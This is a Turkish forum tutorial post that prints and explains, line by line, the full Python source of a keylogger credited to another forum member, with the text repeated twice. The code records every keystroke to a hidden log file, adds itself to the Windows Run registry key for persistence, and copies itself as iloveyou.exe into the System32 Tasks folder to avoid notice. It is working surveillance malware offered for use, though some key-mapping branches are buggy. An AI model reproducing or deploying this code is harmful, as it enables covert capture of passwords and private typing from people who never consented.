Bugün seriye devam ediyoruz bugün yapacaklarımız.
Orta seviye bir projenin işleyişini mantığını anlamak.
Kullanacağımız proje @an0un hocamın yaptığı orta seviye keylogger projesi.
Anlatıma geçelim.
Öncelikle kütüphanelerimize bakalım.
Os: İşletim sistemi ile etkileşim kurmaya olanak tanır.
Shutil: Dosya dizinleri ile yüksek seviye iletişim içindir.
Winreg: Kayıt defteri ile ilgili işlemler içindir.
Bunlara detaylı bakacağız kodun tamamını aşağıda veriyorum.
Part part incelemeye başlayacağız.
Başlayalım
Burada ne yapılmış;
Burada öncelikle pynput modülü ile klavye tuşları dinlemeye alınmış.
count ve keys değişkeni neden boş;
Çünkü" tus_basildi" fonksiyonu çağrılır, tuşa basma bilgisi keys listesine eklenir, count değişkeni bir artırılır.
count değeri 1 olduğunda "dosyaya_yaz" fonksiyonu çağrılarak keys içeriği dosyaya yazılır ve sayaç sıfırlanır.
Yani özetle burada yapılan işlem birazdan göreceğimiz "tus_basıldı" fonksiyonu ile basılan tuşları count değişkeninden alıp keys listesine aktarıyoruz.
Şimdi elektar değişkenine bakalım "winreg.HKEY_CURRENT_USER" kısmı kullanıcının kayıt defteridir.
"nereye_koyucam, 0, winreg.KEY_WRITE" bu kısımda hangi alt anahtar ile işlem yapacağını görüyoruz.
Peki alt anahtar ne demek;
0 kayıt defterinde bir programın açılması için gereken değerdir.
"winreg.KEY_WRİTE" ile belirttiğimiz anahtara yazma izni verir.
"nereye_koycam" değişkeni ile belirttiğimiz yola "winreg.KEY_WRİTE" ile 0 değeri vererek programımızın başlangıçta çalışmasını sağlıyoruz.
Şimdi bu kısımda koddaki "os.getlogin()" ile bilgisayarın adını almak içindir.
"adi_ne_bunun" değişkeni Windows Kayıt Defteri'ne bir anahtar eklerken kullanılıyor.
Şimdi burada ne yapılmış;
"ne_yapicak_bu_sey" değişkeni ile keylogger'ın konumunu "C:\Windows\System32\Tasks\iloveyou.exe" bu konuma kopyalıyor.
Burada hedef dizin ve kaynak dosya adı belirtmişiz "shutil.copy" ile yukarıda belirttiğim Tasks'ın içine keylogger'ımız kopyalanıyor.
Bu satırda count ve keys değişkenlerinin global olarak tanımlandığı belirtiliyor.
Bu sayede fonksiyon içinde bu değişkenler üzerinde yapılan değişiklikler fonksiyon dışında da geçerli olur.
"count +=1" Her tuşa basıldığında count değişkeninin değeri 1 artırılır bu sayaç kaç tuşa basıldığını takip eder.
"print("{0}".format(key))" Bu satırda basılan tuş ekrana yazdırılır key parametresi basılan tuşun bilgisini içerir.
"keys.append(key)" Basılan tuş keys listesine eklenir Bu liste basılan tuşların birikmesi için kullanılır.
"if count >= 1" Bu koşul count değeri 1'e ulaştığında (veya daha fazla) devreye girer yani bir tuşa basıldığında bu koşul sağlanır.
"count = 0" ile sayacın sıfırlanmasını sağlıyoruz.
dosyaya_yaz(keys) keys listesindeki basılan tuşlar "dosyaya_yaz()" fonksiyonuna gönderilir.
Bu fonksiyon tuşlara basıldıkça "keys" listesindeki verileri bir dosyaya yazacaktır.
"keys = []" ile liste temizlenir ve birsonraki tuş basımı için hazırlanır.
Özetle "tus_basildi" fonksiyonu her basılan tuşu takip eder.
Bu tuşları bir listeye ekler ardından belirli bir sayıda tuş basıldığında (burada count 1 ile sınırlı) bu tuşları dosyaya yazar ve sonra listeyi sıfırlar.
Bu işlem tuş dinleme işlemi sırasında her tuş basımı için tekrarlanır.
Burada ne yapılmış;
Bu satır "iLoveYou" adında bir dosya açar.
"a" modu dosyaya ekleme (append) yapar yani dosya zaten varsa yeni veriler dosyanın sonuna eklenir.
'encoding="utf-8"' ise dosyanın Türkçe karakterler gibi özel karakterleri doğru şekilde kaydedebilmesi için UTF-8 formatında açılmasını sağlar.
Bu döngü "keys" adlı listede bulunan her bir tuşu tek tek işler.
"str(key):" key nesnesini bir metin (string) haline getirir çünkü tuşlar örneğin "Key.space" gibi özel bir formatta olabilir.
Bu sayede basılan tuş metin olarak işlenir.
"replace("'", ""):" Bu metnin içindeki tek tırnak (') işaretlerini kaldırır.
Yani örneğin "Key.space" ifadesi "Key.space" yerine Key.space olur.
Bu adımda her bir key (yani basılan tuş) dosyaya yazılır.
"k.find("space") > 0:" Bu koşul basılan tuşun space (boşluk) olup olmadığını kontrol eder.
Eğer tuş space ile ilgili bir şeyse bu koşul doğru olur.
'if k=="Key.space":' Eğer k (basılan tuş) tam olarak "Key.space" ise yani gerçekten boşluk tuşuna basıldıysa dosyaya "SPACE BASILDI" yazılır.
else: Eğer basılan tuş "space" değil de "backspace" tuşu ise dosyaya "BACKSPACE BASILDI" yazılır.
Yani burada space tuşu basıldığında "SPACE BASILDI" eğer başka bir tuş olan backspace basılmışsa "BACKSPACE BASILDI" yazılır.
Kodun devamında birden fazla koşul olduğu içinde "elif" ile kontrol ediliyor.
Bu kod pynput kütüphanesi ile klavye tuşlarını dinler.
Listener sınıfı her tuşa basıldığında "tus_basildi" fonksiyonunu çağırır.
"listener.join()" ise dinlemeyi başlatır ve programın tuşlara basılmasını beklemesini sağlar.
Bugün cidden biraz yorucuydu @an0un hocamın eline sağlık gerçekten güzel program umarım mantığını anlamışsınızdır.
Eleştirilerinizi aşağı yazarsanız mutlu olurum.
İYİ FORUMLAR !
Orta seviye bir projenin işleyişini mantığını anlamak.
Kullanacağımız proje @an0un hocamın yaptığı orta seviye keylogger projesi.
Anlatıma geçelim.
Python:
import os
import shutil
import winreg
Öncelikle kütüphanelerimize bakalım.
Os: İşletim sistemi ile etkileşim kurmaya olanak tanır.
Shutil: Dosya dizinleri ile yüksek seviye iletişim içindir.
Winreg: Kayıt defteri ile ilgili işlemler içindir.
Bunlara detaylı bakacağız kodun tamamını aşağıda veriyorum.
Part part incelemeye başlayacağız.
Kod:
import os
import shutil
import winreg
from pynput.keyboard import Key,Listener
count = 0
keys = []
bilgisayar_adi = os.getlogin()
def reg_olustur(nereye_koyucam, adi_ne_bunun, ne_yapicak_bu_sey):
elektar = winreg.OpenKey(winreg.HKEY_CURRENT_USER, nereye_koyucam, 0, winreg.KEY_WRITE)
winreg.SetValueEx(elektar, adi_ne_bunun, 0, winreg.REG_SZ, ne_yapicak_bu_sey)
winreg.CloseKey(elektar)
nereye_koycam = "Software\Microsoft\Windows\CurrentVersion\Run"
adi_ne_bunun = bilgisayar_adi
ne_yapicak_bu_sey = f"C:\Windows\System32\Tasks\iloveyou.exe"
# Bilgilendirme: ne_yapicak_bu_sey isimli degiskende bulunan iloveyou.exe yazan şey dosyamızın adıdır.
reg_olustur(nereye_koycam, adi_ne_bunun, ne_yapicak_bu_sey)
#Bilginlendirme: reg_olustur() fonksiyonu bu dosyanın otomatik baslatilmasini saglayan bir .reg dosyasi olusturur.
kaynak_dosya = 'iloveyou.exe'
hedef_dizin = 'C:\Windows\System32\Tasks'
shutil.copy(kaynak_dosya, hedef_dizin)
def tus_basildi(key):
global count,keys
count += 1
print("{0}".format(key))
keys.append(key)
if count >= 1:
count = 0
dosyaya_yaz(keys)
keys = []
def dosyaya_yaz(keys):
with open("iLoveYou" , "a" , encoding="utf-8") as file:
for key in keys:
k = str(key).replace("'", "")
if k.find("space") > 0:
if k=="Key.space":
file.write("\n")
file.write("SPACE BASILDI")
file.write("\n")
else:
file.write("\n")
file.write("BACKSPACE BASILDI")
file.write("\n")
elif k.find("esc") > 0:
file.write("\n")
file.write("ESC BASILDI")
file.write("\n")
elif k.find("enter") > 0:
file.write("\n")
file.write("ENTER BASILDI")
file.write("\n")
elif k.find("alt_gr") > 0:
file.write("\n")
file.write("ALT GR BASILDI")
file.write("\n")
elif k.find("alt_l") > 0:
file.write("\n")
file.write("ALT BASILDI")
file.write("\n")
elif k.find("cmd") > 0:
file.write("\n")
file.write("WINDOWS TUŞU BASILDI")
file.write("\n")
elif k.find ("ctrl") > 0:
file.write("\n")
file.write("CTRL BASILDI")
file.write("\n")
elif k.find ("caps_lock") > 0:
file.write("\n")
file.write("CAPS LOCK BASILDI")
file.write("\n")
elif k.find ("shift") > 0:
file.write("\n")
file.write("SHIFT BASILDI")
file.write("\n")
elif k.find ("tab") > 0:
file.write("\n")
file.write("TAB BASILDI")
file.write("\n")
elif k.find ("num_lock") > 0:
file.write("\n")
file.write("NUM LOCK BASILDI")
file.write("\n")
elif k.find ("down") > 0:
file.write("\n")
file.write("AŞAĞI YÖN TUŞU BASILDI")
file.write("\n")
elif k.find ("up") > 0:
file.write("\n")
file.write("YUKARI YÖN TUŞU BASILDI")
file.write("\n")
elif k.find ("right") > 0:
file.write("\n")
file.write("SAĞ YÖN TUŞU BASILDI")
file.write("\n")
elif k.find ("left") > 0:
file.write("\n")
file.write("SOL YÖN TUŞU BASILDI")
file.write("\n")
elif k.find ("x01") > 0:
file.write("\n")
file.write("CTRL + A BASILDI")
file.write("\n")
elif k.find ("x16") > 0:
file.write("\n")
file.write("CTRL + V BASILDI")
file.write("\n")
elif k.find ("101") > 0:
file.write("5")
elif k.find ("102") > 0:
file.write("6")
elif k.find ("103") > 0:
file.write("7")
elif k.find ("104") > 0:
file.write("8")
elif k.find ("105") > 0:
file.write("9")
elif k.find ("100") > 0:
file.write("4")
elif k.find ("99") > 0:
file.write("3")
elif k.find ("98") > 0:
file.write("2")
elif k.find ("97") > 0:
file.write("1")
elif k.find ("96") > 0:
file.write("0")
elif k.find ("110") > 0:
file.write(",")
elif k.find ("f1") > 0:
if k.find("10")>0:
file.write("\n")
file.write("F10 BASILDI")
file.write("\n")
elif k.find("11")>0:
file.write("\n")
file.write("F11 BASILDI")
file.write("\n")
elif k.find("12")>0:
file.write("\n")
file.write("F12 BASILDI")
file.write("\n")
else:
file.write("\n")
file.write("F1 BASILDI")
file.write("\n")
elif k.find ("f2") > 0:
file.write("\n")
file.write("F2 BASILDI")
file.write("\n")
elif k.find ("f3") > 0:
file.write("\n")
file.write("F3 BASILDI")
file.write("\n")
elif k.find ("f4") > 0:
file.write("\n")
file.write("F4 BASILDI")
file.write("\n")
elif k.find ("f5") > 0:
file.write("\n")
file.write("F5 BASILDI")
file.write("\n")
elif k.find ("f7") > 0:
file.write("\n")
file.write("F7 BASILDI")
file.write("\n")
elif k.find ("f8") > 0:
file.write("\n")
file.write("F8 BASILDI")
file.write("\n")
elif k.find ("f9") > 0:
file.write("\n")
file.write("F9 BASILDI")
file.write("\n")
elif k.find ("f6") > 0:
file.write("\n")
file.write("F6 BASILDI")
file.write("\n")
elif k.find ("x03") > 0:
file.write("\n")
file.write("CTRL + C BASILDI")
file.write("\n")
elif k.find ("x13") > 0:
file.write("\n")
file.write("CTRL + S BASILDI")
file.write("\n")
elif k.find ("x11") > 0:
file.write("\n")
file.write("CTRL + Q BASILDI")
file.write("\n")
elif k.find ("x17") > 0:
file.write("\n")
file.write("CTRL + W BASILDI")
file.write("\n")
elif k.find ("x05") > 0:
file.write("\n")
file.write("CTRL + E BASILDI")
file.write("\n")
elif k.find ("x12") > 0:
file.write("\n")
file.write("CTRL + R BASILDI")
file.write("\n")
elif k.find ("x19") > 0:
file.write("\n")
file.write("CTRL + Y BASILDI")
file.write("\n")
elif k.find ("x14") > 0:
file.write("\n")
file.write("CTRL + T BASILDI")
file.write("\n")
elif k.find ("x15") > 0:
file.write("\n")
file.write("CTRL + U BASILDI")
file.write("\n")
elif k.find ("t") > 0:
file.write("\n")
file.write("CTRL + I BASILDI")
file.write("\n")
elif k.find ("x0f") > 0:
file.write("\n")
file.write("CTRL + O BASILDI")
file.write("\n")
elif k.find ("x10") > 0:
file.write("\n")
file.write("CTRL + P BASILDI")
file.write("\n")
elif k.find ("x1b") > 0:
file.write("\n")
file.write("CTRL + Ğ BASILDI")
file.write("\n")
elif k.find ("x1d") > 0:
file.write("\n")
file.write("CTRL + Ü BASILDI")
file.write("\n")
elif k.find ("x1c") > 0:
file.write("\n")
file.write("CTRL + , BASILDI")
file.write("\n")
elif k.find ("delete") > 0:
file.write("\n")
file.write("DELETE BASILDI")
file.write("\n")
elif k.find ("pause") > 0:
file.write("\n")
file.write("PAUSE BASILDI")
file.write("\n")
elif k.find ("break") > 0:
file.write("\n")
file.write("BREAK BASILDI")
file.write("\n")
elif k.find ("delete") > 0:
file.write("\n")
file.write("DELETE BASILDI")
file.write("\n")
elif k.find ("print_screen") > 0:
file.write("\n")
file.write("PRINT SCREEN BASILDI")
file.write("\n")
elif k.find ("home") > 0:
file.write("\n")
file.write("HOME BASILDI")
file.write("\n")
elif k.find ("end") > 0:
file.write("\n")
file.write("END BASILDI")
file.write("\n")
elif k.find("Key") == -1:
file.write(k)
with Listener(on_press = tus_basildi) as listener:
listener.join()
Başlayalım
Python:
from pynput.keyboard import Key,Listener
count = 0
keys = []
bilgisayar_adi = os.getlogin()
def reg_olustur(nereye_koyucam, adi_ne_bunun, ne_yapicak_bu_sey):
elektar = winreg.OpenKey(winreg.HKEY_CURRENT_USER, nereye_koyucam, 0, winreg.KEY_WRITE)
winreg.SetValueEx(elektar, adi_ne_bunun, 0, winreg.REG_SZ, ne_yapicak_bu_sey)
winreg.CloseKey(elektar)
Burada ne yapılmış;
Burada öncelikle pynput modülü ile klavye tuşları dinlemeye alınmış.
count ve keys değişkeni neden boş;
Çünkü" tus_basildi" fonksiyonu çağrılır, tuşa basma bilgisi keys listesine eklenir, count değişkeni bir artırılır.
count değeri 1 olduğunda "dosyaya_yaz" fonksiyonu çağrılarak keys içeriği dosyaya yazılır ve sayaç sıfırlanır.
Yani özetle burada yapılan işlem birazdan göreceğimiz "tus_basıldı" fonksiyonu ile basılan tuşları count değişkeninden alıp keys listesine aktarıyoruz.
Şimdi elektar değişkenine bakalım "winreg.HKEY_CURRENT_USER" kısmı kullanıcının kayıt defteridir.
"nereye_koyucam, 0, winreg.KEY_WRITE" bu kısımda hangi alt anahtar ile işlem yapacağını görüyoruz.
Peki alt anahtar ne demek;
0 kayıt defterinde bir programın açılması için gereken değerdir.
"winreg.KEY_WRİTE" ile belirttiğimiz anahtara yazma izni verir.
Python:
nereye_koycam = "Software\Microsoft\Windows\CurrentVersion\Run"
"nereye_koycam" değişkeni ile belirttiğimiz yola "winreg.KEY_WRİTE" ile 0 değeri vererek programımızın başlangıçta çalışmasını sağlıyoruz.
Python:
adi_ne_bunun = bilgisayar_adi
Şimdi bu kısımda koddaki "os.getlogin()" ile bilgisayarın adını almak içindir.
"adi_ne_bunun" değişkeni Windows Kayıt Defteri'ne bir anahtar eklerken kullanılıyor.
Python:
ne_yapicak_bu_sey = f"C:\Windows\System32\Tasks\iloveyou.exe"
reg_olustur(nereye_koycam, adi_ne_bunun, ne_yapicak_bu_sey)
kaynak_dosya = 'iloveyou.exe'
hedef_dizin = 'C:\Windows\System32\Tasks'
Şimdi burada ne yapılmış;
"ne_yapicak_bu_sey" değişkeni ile keylogger'ın konumunu "C:\Windows\System32\Tasks\iloveyou.exe" bu konuma kopyalıyor.
Python:
kaynak_dosya = 'iloveyou.exe'
hedef_dizin = 'C:\Windows\System32\Tasks'
shutil.copy(kaynak_dosya, hedef_dizin)
Burada hedef dizin ve kaynak dosya adı belirtmişiz "shutil.copy" ile yukarıda belirttiğim Tasks'ın içine keylogger'ımız kopyalanıyor.
Python:
def tus_basildi(key):
global count,keys
count += 1
print("{0}".format(key))
keys.append(key)
if count >= 1:
count = 0
dosyaya_yaz(keys)
keys = []
Bu satırda count ve keys değişkenlerinin global olarak tanımlandığı belirtiliyor.
Bu sayede fonksiyon içinde bu değişkenler üzerinde yapılan değişiklikler fonksiyon dışında da geçerli olur.
"count +=1" Her tuşa basıldığında count değişkeninin değeri 1 artırılır bu sayaç kaç tuşa basıldığını takip eder.
"print("{0}".format(key))" Bu satırda basılan tuş ekrana yazdırılır key parametresi basılan tuşun bilgisini içerir.
"keys.append(key)" Basılan tuş keys listesine eklenir Bu liste basılan tuşların birikmesi için kullanılır.
"if count >= 1" Bu koşul count değeri 1'e ulaştığında (veya daha fazla) devreye girer yani bir tuşa basıldığında bu koşul sağlanır.
"count = 0" ile sayacın sıfırlanmasını sağlıyoruz.
dosyaya_yaz(keys) keys listesindeki basılan tuşlar "dosyaya_yaz()" fonksiyonuna gönderilir.
Bu fonksiyon tuşlara basıldıkça "keys" listesindeki verileri bir dosyaya yazacaktır.
"keys = []" ile liste temizlenir ve birsonraki tuş basımı için hazırlanır.
Özetle "tus_basildi" fonksiyonu her basılan tuşu takip eder.
Bu tuşları bir listeye ekler ardından belirli bir sayıda tuş basıldığında (burada count 1 ile sınırlı) bu tuşları dosyaya yazar ve sonra listeyi sıfırlar.
Bu işlem tuş dinleme işlemi sırasında her tuş basımı için tekrarlanır.
Python:
def dosyaya_yaz(keys):
with open("iLoveYou" , "a" , encoding="utf-8") as file:
for key in keys:
k = str(key).replace("'", "")
Burada ne yapılmış;
Bu satır "iLoveYou" adında bir dosya açar.
"a" modu dosyaya ekleme (append) yapar yani dosya zaten varsa yeni veriler dosyanın sonuna eklenir.
'encoding="utf-8"' ise dosyanın Türkçe karakterler gibi özel karakterleri doğru şekilde kaydedebilmesi için UTF-8 formatında açılmasını sağlar.
Python:
for key in keys:
k = str(key).replace("'", "")
Bu döngü "keys" adlı listede bulunan her bir tuşu tek tek işler.
"str(key):" key nesnesini bir metin (string) haline getirir çünkü tuşlar örneğin "Key.space" gibi özel bir formatta olabilir.
Bu sayede basılan tuş metin olarak işlenir.
"replace("'", ""):" Bu metnin içindeki tek tırnak (') işaretlerini kaldırır.
Yani örneğin "Key.space" ifadesi "Key.space" yerine Key.space olur.
Bu adımda her bir key (yani basılan tuş) dosyaya yazılır.
Python:
if k.find("space") > 0:
if k=="Key.space":
file.write("\n")
file.write("SPACE BASILDI")
file.write("\n")
else:
file.write("\n")
file.write("BACKSPACE BASILDI")
file.write("\n")
"k.find("space") > 0:" Bu koşul basılan tuşun space (boşluk) olup olmadığını kontrol eder.
Eğer tuş space ile ilgili bir şeyse bu koşul doğru olur.
'if k=="Key.space":' Eğer k (basılan tuş) tam olarak "Key.space" ise yani gerçekten boşluk tuşuna basıldıysa dosyaya "SPACE BASILDI" yazılır.
else: Eğer basılan tuş "space" değil de "backspace" tuşu ise dosyaya "BACKSPACE BASILDI" yazılır.
Yani burada space tuşu basıldığında "SPACE BASILDI" eğer başka bir tuş olan backspace basılmışsa "BACKSPACE BASILDI" yazılır.
Kodun devamında birden fazla koşul olduğu içinde "elif" ile kontrol ediliyor.
Python:
with Listener(on_press=tus_basildi) as listener:
listener.join()
Bu kod pynput kütüphanesi ile klavye tuşlarını dinler.
Listener sınıfı her tuşa basıldığında "tus_basildi" fonksiyonunu çağırır.
"listener.join()" ise dinlemeyi başlatır ve programın tuşlara basılmasını beklemesini sağlar.
Bugün cidden biraz yorucuydu @an0un hocamın eline sağlık gerçekten güzel program umarım mantığını anlamışsınızdır.
Eleştirilerinizi aşağı yazarsanız mutlu olurum.
İYİ FORUMLAR !
Son düzenleme:



